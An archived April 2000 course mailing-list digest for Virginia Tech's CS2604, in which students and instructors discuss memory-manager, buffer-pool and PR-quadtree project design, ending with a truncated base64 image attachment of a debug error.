-0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Memory Manager knows block size In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 14 Apr 2000, James Moniz wrote: > I had asked earlier if the Buffer Manager is the only one who knows about > or cares about block sizes, to which I was told true, tho', as expected, the > size passes through the different classes to get to the deeply embedded > Buffer Manager class. > > I see from an earlier post, however, that the Memory Manager increases the > size of the memory pool by lengths of blocks. So it must be aware of the > size of blocks, also. > > I would just like to hear out loud that this is, in fact, true, or am I > just looking at something wrong? This is an interesting point. On the one hand, it is good if the memory manager doesn't need to know about blocksize. On the other hand, the memory manager needs to know how big its memory pool is. There was a suggestion that the memory manager explicitly call an "expand" method on the buffer pool. This is not necessary, since simply writing beyond the previous high water mark in the file will cause an expansion of the file, and the buffer pool otherwise doesn't care which buffers are written to. In an earlier series of examples I sent out, without thinking about it, I just assumed that the memory pool would grown in line with the phyisical file size -- that is, grow by a block. But I guess this does not really matter. Consider the example of 20 byte blocks, and an extension of 10 bytes beyond the current end of the file is required. The choice boils down to whether the free block list ends up with a new 10-byte block or not (the remaining 10 bytes from the newly added physical block). This in turn could affect the order in which free blocks are allocated to new requests. Now I am thinking that it is completely arbitrary which way this is done. The only motivation I can see for mandating which way to do this is for the purpose of maintaining consistency in project outputs. However, I think that some variations that are going to occur anyway, due to the way that people implement their PR quadtree functions (affecting the order that certain nodes are inserted into the memory pool). Thus, I will not place a requirement on this aspect of the program. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 17 Apr 2000 16:12:35 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: James Moniz Subject: Re: Memory Manager knows block size In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, I hope your statement matches up with my decision to leave the Memory Manager ignorant of block sizes but to give the information to the embedded FreeList (along with the Buffer Manager), so when it (the FreeList) needs to cough up some more memory space, it knows to increase memory pool by the disk block and the Memory Manager couldn't care less. Am I correct in reading that how we do this does not really matter or, if it does matter, is there anything wrong with the above implementation? Also, on a more want-to-know level, who should be responsible for converting nodes to bytes and bytes to nodes? If it is the Memory Manager, then it has to know about the concept of nodes. If it the node, then it has to know about how its data gets stored, if one does one conversion and the other does the other, they both need to know about each other to some point. Which, according to what we are being taught in this class, would be the best way? Thanks. James Moniz jmoniz@vt.edu > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > Cliff Shaffer > Sent: Monday, April 17, 2000 11:29 AM > To: CS2604@LISTSERV.VT.EDU > Subject: Re: Memory Manager knows block size > > > On Fri, 14 Apr 2000, James Moniz wrote: > > > I had asked earlier if the Buffer Manager is the only > one who knows about > > or cares about block sizes, to which I was told true, tho', as > expected, the > > size passes through the different classes to get to the deeply embedded > > Buffer Manager class. > > > > I see from an earlier post, however, that the Memory > Manager increases the > > size of the memory pool by lengths of blocks. So it must be aware of the > > size of blocks, also. > > > > I would just like to hear out loud that this is, in > fact, true, or am I > > just looking at something wrong? > > This is an interesting point. On the one hand, it is good if the memory > manager doesn't need to know about blocksize. On the other hand, the > memory manager needs to know how big its memory pool is. There was a > suggestion that the memory manager explicitly call an "expand" method on > the buffer pool. This is not necessary, since simply writing beyond the > previous high water mark in the file will cause an expansion of the file, > and the buffer pool otherwise doesn't care which buffers are written to. > > In an earlier series of examples I sent out, without thinking about it, > I just assumed that the memory pool would grown in line with > the phyisical file size -- that is, grow by a block. But I guess this > does not really matter. Consider the example of 20 byte blocks, and an > extension of 10 bytes beyond the current end of the file is required. > The choice boils down to whether the free block list ends up with a new > 10-byte block or not (the remaining 10 bytes from the newly added > physical block). This in turn could affect the order in which free > blocks are allocated to new requests. Now I am thinking that it is > completely arbitrary which way this is done. > > The only motivation I can see for mandating which way to do this is for > the purpose of maintaining consistency in project outputs. However, I > think that some variations that are going to occur anyway, due to the way > that people implement their PR quadtree functions (affecting the order > that certain nodes are inserted into the memory pool). Thus, I will not > place a requirement on this aspect of the program. > > -- > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > Department of Computer Science Email: shaffer@cs.vt.edu > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > ------------------------------------------------------------------------- ========================================================================= Date: Mon, 17 Apr 2000 17:18:23 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Memory Manager knows block size In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 17 Apr 2000, James Moniz wrote: > I hope your statement matches up with my decision to leave the Memory > Manager ignorant of block sizes but to give the information to the embedded > FreeList (along with the Buffer Manager), so when it (the FreeList) needs to > cough up some more memory space, it knows to increase memory pool by the > disk block and the Memory Manager couldn't care less. Am I correct in > reading that how we do this does not really matter or, if it does matter, is > there anything wrong with the above implementation? If I understand what you are doing, this sounds OK. > Also, on a more want-to-know level, who should be responsible for > converting nodes to bytes and bytes to nodes? If it is the Memory Manager, > then it has to know about the concept of nodes. Absolutely not. The memory manager merely passes messages back to its client. It has no understanding of what the messages mean. > If it the node, then it has > to know about how its data gets stored, if one does one conversion and the > other does the other, they both need to know about each other to some point. > Which, according to what we are being taught in this class, would be the > best way? The rational choices that have occurred to me are (1) the node class or (2) the tree class. That is, the tree could either call something like Node* Node::getchild(int whichchild); implying that the node class completely buries all concepts of the implementation and the tree knows nothing about handles/memory managers, or the tree could call something like char* msg = myMemMan->getmessage(aHandle); Node* mynewNode = myoldNode->getNode(msg); implying that the node class is relatively light-weight, and that the tree class invokes the request to the memory manager. But, the node class still probably does the physical conversion. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 17 Apr 2000 17:52:21 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: Memory Manager knows block size In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII But it won't work to have the tree class know nothing about the memory manager, because you said the root node (as a member of the tree class) must also be a handle. On Mon, 17 Apr 2000, Cliff Shaffer wrote: > > If it the node, then it has > > to know about how its data gets stored, if one does one conversion and the > > other does the other, they both need to know about each other to some point. > > Which, according to what we are being taught in this class, would be the > > best way? > > The rational choices that have occurred to me are (1) the node class or > (2) the tree class. That is, the tree could either call something like > > Node* Node::getchild(int whichchild); > > implying that the node class completely buries all concepts of the > implementation and the tree knows nothing about handles/memory managers, > or the tree could call something like > > char* msg = myMemMan->getmessage(aHandle); > Node* mynewNode = myoldNode->getNode(msg); > > implying that the node class is relatively light-weight, and that the tree > class invokes the request to the memory manager. But, the node class > still probably does the physical conversion. ========================================================================= Date: Mon, 17 Apr 2000 21:13:10 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Richard Bowman Subject: Internal node boundaries? MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit I was wondering how anyone here is dealing with their node boundaries. The file does not save the boundaries of each part. Do you recalculate the boundaries every time a node is loaded in? This seems really pointless, involving each child to know what size its parent and its corner to calculate its boundaries, or having the parent having to do it for every child. Just wondering if there were any thoughts on this. Richard ========================================================================= Date: Tue, 18 Apr 2000 01:20:22 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: Internal node boundaries? In-Reply-To: <38FBB6A6.DDA4F496@vt.edu> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII You're supposed to do it exactly as you did it in project 2. Why does everyone (who supposedly *did* project 2) keep asking these questions!? On Mon, 17 Apr 2000, Richard Bowman wrote: > I was wondering how anyone here is dealing with their node boundaries. > The file does not save the boundaries of each part. Do you recalculate > the boundaries every time a node is loaded in? This seems really > pointless, involving each child to know what size its parent and its > corner to calculate its boundaries, or having the parent having to do it > for every child. > > Just wondering if there were any thoughts on this. > Richard > ========================================================================= Date: Tue, 18 Apr 2000 09:13:34 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ben Keller Subject: Re: Internal node boundaries? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Because, not everyone did it that way for project 2. Yes, you should compute the region that each node corresponds to as you go down the tree. This makes it convenient to move nodes up and down the tree without having to modify the node itself. Instead, you simply use its handle in a higher node. BK "John Anthony Kazos Jr." wrote: > > You're supposed to do it exactly as you did it in project 2. Why does > everyone (who supposedly *did* project 2) keep asking these questions!? > > On Mon, 17 Apr 2000, Richard Bowman wrote: > > > I was wondering how anyone here is dealing with their node boundaries. > > The file does not save the boundaries of each part. Do you recalculate > > the boundaries every time a node is loaded in? This seems really > > pointless, involving each child to know what size its parent and its > > corner to calculate its boundaries, or having the parent having to do it > > for every child. > > > > Just wondering if there were any thoughts on this. > > Richard > > -- Ben Keller email: keller@cs.vt.edu Visiting Assistant Professor phone: 540-231-9367 Computer Science Dept (0106) web: www.cs.vt.edu/~keller Virginia Tech Blacksburg, VA 24061 USA ========================================================================= Date: Tue, 18 Apr 2000 09:19:43 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ben Keller Subject: Re: Memory Manager knows block size MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I don't think that it was said that the root node must be a handle. There are two legit choices: the root is actually pointer to a node, or the root is a handle. The choice should really only affect how you start your recursive functions. "John Anthony Kazos Jr." wrote: > > But it won't work to have the tree class know nothing about the memory manager, > because you said the root node (as a member of the tree class) must also be > a handle. > > On Mon, 17 Apr 2000, Cliff Shaffer wrote: > > > > If it the node, then it has > > > to know about how its data gets stored, if one does one conversion and the > > > other does the other, they both need to know about each other to some point. > > > Which, according to what we are being taught in this class, would be the > > > best way? > > > > The rational choices that have occurred to me are (1) the node class or > > (2) the tree class. That is, the tree could either call something like > > > > Node* Node::getchild(int whichchild); > > > > implying that the node class completely buries all concepts of the > > implementation and the tree knows nothing about handles/memory managers, > > or the tree could call something like > > > > char* msg = myMemMan->getmessage(aHandle); > > Node* mynewNode = myoldNode->getNode(msg); > > > > implying that the node class is relatively light-weight, and that the tree > > class invokes the request to the memory manager. But, the node class > > still probably does the physical conversion. -- Ben Keller email: keller@cs.vt.edu Visiting Assistant Professor phone: 540-231-9367 Computer Science Dept (0106) web: www.cs.vt.edu/~keller Virginia Tech Blacksburg, VA 24061 USA ========================================================================= Date: Tue, 18 Apr 2000 10:12:37 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Memory Manager knows block size In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 17 Apr 2000, John Anthony Kazos Jr. wrote: > But it won't work to have the tree class know nothing about the memory manager, > because you said the root node (as a member of the tree class) must also be > a handle. I didn't say it *must* be a handle. That is one way to do things. Another way is to keep a real root node in existance at all times, with the tree storing a pointer to that node. It may be that nodes will need to store handles to themselves. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Tue, 18 Apr 2000 11:59:44 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Shalaka Tendulkar Subject: P4 Sample Memory Map MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, A sample Memory Map for P4 has been posted on the web. Let me know if there are any errors. Shalaka ========================================================================= Date: Tue, 18 Apr 2000 15:10:01 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Re: P4 Sample Memory Map In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I have a question on the memory map. Does the output have to be identical to the block? In P2, when I had an inserted node run into a leaf with a node in it, it did this: 1) Check if coordinates are identical if not, 2) Create a New Parent and place the previous city in the designated spot 3) determine which slot of the new parent the new city would be in 4) direction pointer (NW,NE,SW,SE) points to recursive call of insert, which finds an empty leaf and inserts. Now on this algoritm, unless i am mistaken, the parent node would be created before the new leaf, which means it would be inserted in my memory pool first. Although the parent would then have to be updated after the handle for the new leaf is done, thus changing the buffer pool order, the memory block would be more like: First City, First Leaf (Blacksburg), Parent, Second City, Second Leaf (McLean) the algorithm works correctly, but I was wondering if I will get penalized for a different order in the memory block John Owens ========================================================================= Date: Tue, 18 Apr 2000 16:11:41 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: P4 Sample Memory Map In-Reply-To: <000601bfa969$b2c86140$0201a8c0@vtacs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 18 Apr 2000, John Owens wrote: > I have a question on the memory map. Does the output have to be identical > to the block? In P2, when I had an inserted node run into a leaf with a > node in it, it did this: > 1) Check if coordinates are identical > if not, > 2) Create a New Parent and place the previous city in the designated spot > 3) determine which slot of the new parent the new city would be in > 4) direction pointer (NW,NE,SW,SE) points to recursive call of insert, which > finds an empty leaf and inserts. > > Now on this algoritm, unless i am mistaken, the parent node would be created > before the new leaf, which means it would be inserted in my memory pool > first. Although the parent would then have to be updated after the handle > for the new leaf is done, thus changing the buffer pool order, the memory > block would be more like: > First City, First Leaf (Blacksburg), Parent, Second City, Second Leaf > (McLean) > > the algorithm works correctly, but I was wondering if I will get penalized > for a different order in the memory block A day or two ago, I sent an email regarding the question of whether the memory manager should add to the freelist the excess space at the end of a new disk block or not. In that message, I alluded to the possibility that different students might insert nodes in a different way, and therefore the order of nodes in the memory pool might be different. Your discussion above directly addresses the point I was (vaguely) making at the time. To answer your question: No, there is no requirement regarding which order you do this particular insertion to the memory pool. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 19 Apr 2000 00:23:17 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: David Cook Subject: FlyHandle instead of FlyWeight? MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_YTXwssGh/c/iVUwB8vo7Zw)" This is a multi-part message in MIME format. --Boundary_(ID_YTXwssGh/c/iVUwB8vo7Zw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Ok, in project 2 I implemented the fly weight dummy node method. I was = working on my tree and I realized that I needed a dummy handle to assign = empty leaf nodes. My first thought was -1 but all handles should be an = unsigned long to correspond with it's byte position in the file, right? = So theoretically any "FlyHandle" which is greater than -1 could be a = valid byte position. So, what should we use to denote empty nodes? Am = I missing something? =20 Thanks -Dave C --Boundary_(ID_YTXwssGh/c/iVUwB8vo7Zw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
Ok, in project 2 I implemented the fly = weight dummy=20 node method. I was working on my tree and I realized that I needed a = dummy=20 handle to assign empty leaf nodes.  My first thought was -1 but all = handles=20 should be an unsigned long to correspond with it's byte position in the = file,=20 right?  So theoretically any "FlyHandle" which is greater than -1 = could be=20 a valid byte position.  So, what should we use to denote empty = nodes? =20 Am I missing something? 
 
Thanks
-Dave C
--Boundary_(ID_YTXwssGh/c/iVUwB8vo7Zw)-- ========================================================================= Date: Wed, 19 Apr 2000 01:38:12 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: FlyHandle instead of FlyWeight? In-Reply-To: <013201bfa9b7$0a368e00$7502cb26@Redrum> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII You could still assign -1 to it...it will be the same as 2^32 - 1. I think we can assume for this project that there won't be any gigabyte-large p4bin.dat files. The reason this happens is 2's-complement representation of negative numbers. -1 is stored by the compiler as a signed int (or signed short, depending), which is (first sign-extended if it was short before, then) converted directly to an unsigned int (with no changes of bits). This is different from x = 1.5, where truncation occurs. x = -1 and x = pow(2,32) - 1 are the same. (x is int.) On Wed, 19 Apr 2000, David Cook wrote: > Ok, in project 2 I implemented the fly weight dummy node method. I was working on my tree and I realized that I needed a dummy handle to assign empty leaf nodes. My first thought was -1 but all handles should be an unsigned long to correspond with it's byte position in the file, right? So theoretically any "FlyHandle" which is greater than -1 could be a valid byte position. So, what should we use to denote empty nodes? Am I missing something? > > Thanks > -Dave C > ========================================================================= Date: Wed, 19 Apr 2000 22:15:13 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: david MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Quick question regarding the sample data posted at the website. shouldnt the freelist be: *0-30* and 58-79 after "delete Blacksburg" aka "remove 100 200" ?? ========================================================================= Date: Mon, 19 Apr 0100 00:46:45 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Data Structures: P2 Request Content-Type: text The following appeared in my P2 grade sheet: -Search : 10 Incorrect number of nodes visited. This occured because I didn't implement the "box" functionality to be searching routines. Does anyone have any pseudo-code or **SIMPLE** source code that illustrates what I need to add to my P2 code to have the "Incorrect number of nodes visited" problem go away?? -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi DILBERT COMIC STRIP: Dilbert: Bishop takes rook. I have you now, my friend. Dogbert while ruining the board: My Queen has an Uzi in her purse. She slays your entire side. Dilbert: You did the same thing when we played scrabble. Dogbert: Take it like a man. :D O- ------------------------------------------------------------------------- ========================================================================= Date: Thu, 20 Apr 2000 11:27:17 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Homework Assignment 3 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Homework Assignment 3, due Friday 5/5 at 11:00 pm, has now been posted to the CS2604 website. Please note that we have added in some extra time on the deadline, making the due date actually on the first day of exams. However, there is no requirement that you actually wait that long to submit it, should that date interfer with preparing for your finals. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Thu, 20 Apr 2000 19:24:06 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "=(8-b)" Subject: debug error MIME-version: 1.0 Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_vonfCZ7/HVf8+GZZtfwyrg)" This is a multi-part message in MIME format. --Boundary_(ID_vonfCZ7/HVf8+GZZtfwyrg) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit can anyone tell me what this is caused by? thanks- duffy --Boundary_(ID_vonfCZ7/HVf8+GZZtfwyrg) Content-type: image/gif; name="p4 debug error 1 copy.gif" Content-disposition: attachment; filename="p4 debug error 1 copy.gif" Content-transfer-encoding: base64 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 